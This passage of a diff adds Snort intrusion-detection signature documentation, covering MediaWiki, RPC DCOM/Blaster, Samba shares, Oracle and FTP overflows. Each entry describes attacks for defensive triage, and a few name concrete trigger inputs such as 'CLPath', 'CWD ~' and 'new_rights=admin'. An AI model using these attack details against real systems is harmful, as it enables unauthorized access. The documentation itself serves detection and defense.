+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2285.txt
+++ snort-2.8.5.2/doc/signatures/2285.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2285
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application MediaWiki running on a server.
+
+--
+Impact:
+Possible execution of arbitrary code and unauthorized administrative
+access to the target system.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application MediaWiki . This application
+does not perform stringent checks when handling user input, this may 
+lead to the attacker being able to execute PHP code and include php files 
+of the attackers choosing.
+
+--
+Affected Systems:
+	MediaWiki MediaWiki-stable 20031107
+	MediaWiki MediaWiki-stable 20030829
+
+--
+Attack Scenarios:
+An attacker can exploit weaknesses to gain access as the administrator 
+by supplying input of their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1233.txt
+++ snort-2.8.5.2/doc/signatures/1233.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1233
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1381.txt
+++ snort-2.8.5.2/doc/signatures/1381.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1381
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/565.txt
+++ snort-2.8.5.2/doc/signatures/565.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+565
+
+--
+Summary:
+This event is generated when a known response to a sucessful attack is
+detected.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when a known response to a sucessful attack is
+detected. Some applications do not perform stringent checks when validating
+the credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can be
+compromised and trust relationships between the victim server and other
+hosts can be exploited by the attacker.
+
+Events generated by rules in attack-responses.rules may indicate that an
+attack against a host has been sucessful.
+
+--
+Affected Systems:
+	Any vulnerable host.
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. An attacker might also exploit a
+weakness in a particular application or piece of software that will
+present the opportunity to gain access to the host.
+
+--
+Ease of Attack:
+Simple. Many exploits exist for various systems and software.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Care should be taken to investigate the source of the event. Check for
+signs of system compromise in log files. Check for listening services on
+high ports.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+OpenNap Specification
+http://opennap.sourceforge.net/napster.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2466.txt
+++ snort-2.8.5.2/doc/signatures/2466.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2466
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/413.txt
+++ snort-2.8.5.2/doc/signatures/413.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+413
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP IPV6 Where-Are-You datagram.
+
+--
+
+Impact:
+ICMP Type 33 datagrams are not expected network traffic.  Hosts generating ICMP Type 33 datagrams should be investigated for hostile activity.
+
+--
+
+Detailed Information:
+ICMP Type 33 is an undocumented extension to RFC 1812 and RFC 792.  Its current use it not defined by an approved RFC.  
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Hosts generating ICMP Type 33 datagrams should be investigated for hostile activity.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2352.txt
+++ snort-2.8.5.2/doc/signatures/2352.txt
@@ -0,0 +1,87 @@
+Rule:
+
+--
+Sid:
+2192
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+This vulnerability is also exploited by the Billy/Blaster worm. The worm
+also uses the Trivial File Transfer Protocol (TFTP) to propagate. A 
+number of events generated by this rule may indicate worm activity.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists. This is also exploited by a worm.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+Block access to port 69 used by the worm to propogate.
+
+Block access to port 4444 used by the worm.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/MS03-026.asp
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0352
+
+Symantec:
+http://securityresponse.symantec.com/avcenter/venc/data/w32.blaster.worm.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2160.txt
+++ snort-2.8.5.2/doc/signatures/2160.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2160
+
+
+--
+Summary:
+This event is generated when a possible outgoing virus is detected. 
+
+--
+Impact:
+Informational event. An virus on an infected host may be attempting to 
+propogate.
+
+--
+Detailed Information:
+This event indicates that an outgoing email message possibly containing 
+a virus has been detected.
+
+This rule generates an event when a filename extension commonly used by 
+viruses is detected.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+This is indicative of a virus infection.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A legitimate attachment to an email may generate this event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of virus infection.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000334.txt
+++ snort-2.8.5.2/doc/signatures/100000334.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000334
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "CaLogic Calendars" application running on a webserver. Access to the file "reconfig.php" using a remote file being passed as the "CLPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "CLPath" parameter in the "reconfig.php" script used by the "CaLogic Calendars" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using CaLogic Calendars
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3292.txt
+++ snort-2.8.5.2/doc/signatures/3292.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3292
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1690.txt
+++ snort-2.8.5.2/doc/signatures/1690.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1690
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2471.txt
+++ snort-2.8.5.2/doc/signatures/2471.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2471
+
+--
+Summary:
+This event is generated when an attempt is made to access the C$ default
+administrative share of a Windows host.
+
+--
+Impact:
+Serious. Possible administrator access to the host. Information 
+disclosure.
+
+--
+Detailed Information:
+By default, Windows hosts have default administrative shares of the 
+local hard drives using the format %DRIVE_LETTER% + $. Anybody with 
+administrative rights can remotely access the share.
+
+--
+Affected Systems:
+	Windows hosts.
+
+--
+Attack Scenarios:
+An attacker may be attempting to access files located on the C drive of 
+the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Netbios access from external networks (tcp port 139).
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS339
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;100517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3318.txt
+++ snort-2.8.5.2/doc/signatures/3318.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3318
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2627.txt
+++ snort-2.8.5.2/doc/signatures/2627.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2627
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "repcat_import_check" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in some parameters for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gowner" or "gname"
+variable to cause the overflow. The result could permit the
+attacker to gain escalated privileges and run code of their
+choosing. This attack requires an attacker to logon to the
+database with a valid username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck90.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1672.txt
+++ snort-2.8.5.2/doc/signatures/1672.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+1672
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow associated with certain versions of the Sun Solaris FTP server.  
+
+--
+Impact:
+Reconnaissance.  An attacker may be able to examine records from the password shadow file.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a buffer overflow vulnerability associated with a globbing function in Sun Solaris FTP servers.  An attacker may exploit this vulnerability by logging into the FTP server with a valid username and an invalid password then supplying the command "CWD ~".  This may produce a core dump in the root directory with world-readable permissions that could be examined to discover valid FTP users for the server.  
+
+--
+Affected Systems:
+
+SPARC
+
+    * Solaris 2.5 without patch 103577-13
+    * Solaris 2.5.1 without patch 103603-16
+    * Solaris 2.6 without patch 106301-03
+    * Solaris 2.7 without patch 110646-02
+    * Solaris 2.8 without patch 111606-01
+
+Intel
+
+    * Solaris 2.5 without patch 103578-13
+    * Solaris 2.5.1 without patch 103604-16
+    * Solaris 2.6 without patch 106302-03
+    * Solaris 2.7 without patch 110647-02
+    * Solaris 2.8 without patch 111607-01
+
+--
+Attack Scenarios:
+An attacker may attempt to exploit this vulnerability to learn valid FTP usernames to later attempt brute force guessing of passwords.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software or apply the appropriate patch.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/2601
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0421
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2468.txt
+++ snort-2.8.5.2/doc/signatures/2468.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2468
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1725.txt
+++ snort-2.8.5.2/doc/signatures/1725.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+1725
+
+--
+Summary:
+This event is generated when an attempt is made to disclose the contents of an Active Server Page (ASP) using a malformed HTR request. 
+
+--
+Impact:
+Information gathering.  Fragments of the source code of an ASP may be returned possibly disclosing sensitive information.
+
+--
+Detailed Information:
+HTR is an older scripting language still supported by Internet Information Service (IIS).  HTR requests are preocessed by ISM.DLL that improperly evaluates malformed HTR requests.  This may disclose parts of the source code associated with a .asp file referenced in the request. 
+
+--
+Affected Systems:
+
+Microsoft IIS 4.0, 5.0 
+
+--
+Attack Scenarios:
+An attacker can craft a malformed request to disclose source code possibly revealing sensitive information. 
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the patch referenced in the Microsoft link.
+
+Consider running the IIS Lockdown Tool to disable HTR functionality.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0063
+
+Bugtraq
+http://www.securityfocus.com/bid/1488
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms00-031.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000315.txt
+++ snort-2.8.5.2/doc/signatures/100000315.txt
@@ -0,0 +1,71 @@
+Rule:  
+
+--
+Sid:
+100000315
+
+--
+Summary:
+This event is generated when an HTTP client issues a PUT request to upload
+a document into the web content area.
+
+--
+Impact:
+The PUT method is a legitimate HTTP command that allows an authorized user
+to upload a document into the web content tree. It is most often associated 
+with the WebDAV content management protocol.  
+
+Although there are some legitimate uses for the PUT method, it is also a
+frequent source of web site defacement, as attackers can easily abuse 
+misconfigured web servers that allow unrestricted PUT functionality from 
+arbitrary users.
+
+--
+Detailed Information:
+The rule searches for HTTP requests using the PUT method, and tracks 
+these sessions.  The rule is intended to be used with SID 100000316 to 
+track successful PUT requests, which may represent successful defacement
+attacks, instead of all PUT requests.
+
+Administrators who wish to track all PUT requests (successful or not) should 
+remove the "flowbits:noalert;" section of this rule.
+
+--
+Affected Systems:
+Any web server
+
+--
+Attack Scenarios:
+An attacker can issue a PUT reuqest via a script, many different pieces of 
+software, or through a manual connection to any web server port.
+
+--
+Ease of Attack:
+Simple.  Numerous tools exist for creating PUT requests, including some geared
+specifically towards web site defacement.  
+
+--
+False Positives:
+Organizations that use WebDAV to manage their web content may experience
+false positives, as the PUT method is a normal part of the WebDAV protocol.
+Additionally, any other legitimate web applications which use the PUT method
+will generate false positives.
+
+--
+False Negatives:
+None
+
+--
+Corrective Action:
+In cases of web site defacement, delete the newly-created file(s) and/or 
+restore them from a reliable backup. In all cases, be sure to tune web server
+configuration to allow PUT requests only where necessary for a legitimate web
+application to function.
+
+--
+Contributors:
+David J. Bianco, <david@vorant.com>
+
+-- 
+Additional References:
+http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.6
--- snort-2.8.5.2.orig/doc/signatures/350.txt
+++ snort-2.8.5.2/doc/signatures/350.txt
@@ -0,0 +1,63 @@
+SID:
+350
+--
+
+Rule:
+--
+
+Summary:
+This event is generated when an attack attempt is made against an ftp 
+server possibly running a vulnerable ftpd
+--
+
+Impact:
+Possible execution of commands on the affected server as with elevated user privileges
+--
+
+Detailed Information:
+The Washington University ftp daemon (wu-ftpd) has a problem with very 
+log directory names. There is insufficent checking on directories 
+created by users allowing possible insertion of data into the stack.This
+can lead to execution of code with root / elevated user privileges.
+--
+
+Affected Systems:
+NcFTP Software NcFTPD 2.3.5
+Washington University wu-ftpd 2.4.2 (beta 18) VR10 
+RedHat wu-ftpd 2.4.2 b18-2 
+Washington University wu-ftpd 2.4.2 academ[BETA-18] 
+Probably others as well, susspect anything under Washington University wu-ftpd 2.6.0 for this particular exploit.
+--
+
+Attack Scenarios:
+A local attacker will attempt to create long named directories on the 
+ftp server wich are not checked correctly in the server code. This can 
+allow commands to be executed with elevated user privileges
+--
+
+Ease of Attack:
+simple, Exploit code exists
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Upgrade to newest version of wuftpd, or replace with something more secure.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2331.txt
+++ snort-2.8.5.2/doc/signatures/2331.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2331
+
+--
+Summary:
+This event is generated when an attempt is made to possibly gain
+administrative access to the MatrikzGB Guestbook PHP application running
+on a server.
+
+--
+Impact:
+Possible administrative access to the Guestbook.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the MatrikzGB Guestbook web application running on a server.
+
+It is possible for an attacker to modify the appropriate URI parameter
+in the index.php script to gain administrative rightst to the MatrikzGB
+Guestbook.
+
+--
+Affected Systems:
+	MatrikzGB Guestbook 2.0
+
+--
+Attack Scenarios:
+An attacker can supply "admin" to the "new_rights" parameter in the PHP
+script index.php.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000145.txt
+++ snort-2.8.5.2/doc/signatures/100000145.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+100000145
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+directory traversal associated with Imail Web Calendaring
+servicel
+
+--
+Impact:
+A successful attack can permit a user to navigate outside
+of the web root directory and read files.
+
+--
+Detailed Information:
+The Imail Web Calendaring Server does not properly sanitize
+a malformed URL that contains directory traversal characters.
+This vulnerability is associated with static objects identified
+by names ending in .jsp, .jpg, .gif, .wav, .css, or .htm.  This
+can permit an unauthorized user to examine files that may contain
+sensitive information.
+
+--
+Affected Systems:
+Ipswitch IMail Server 8.2 and prior
+Ipswitch IMail Server 8.15 and prior
+
+--
+Attack Scenarios:
+An attacker send a URI containing a directory traversal to view
+sensitive files on a vulnerable server.
+
+--
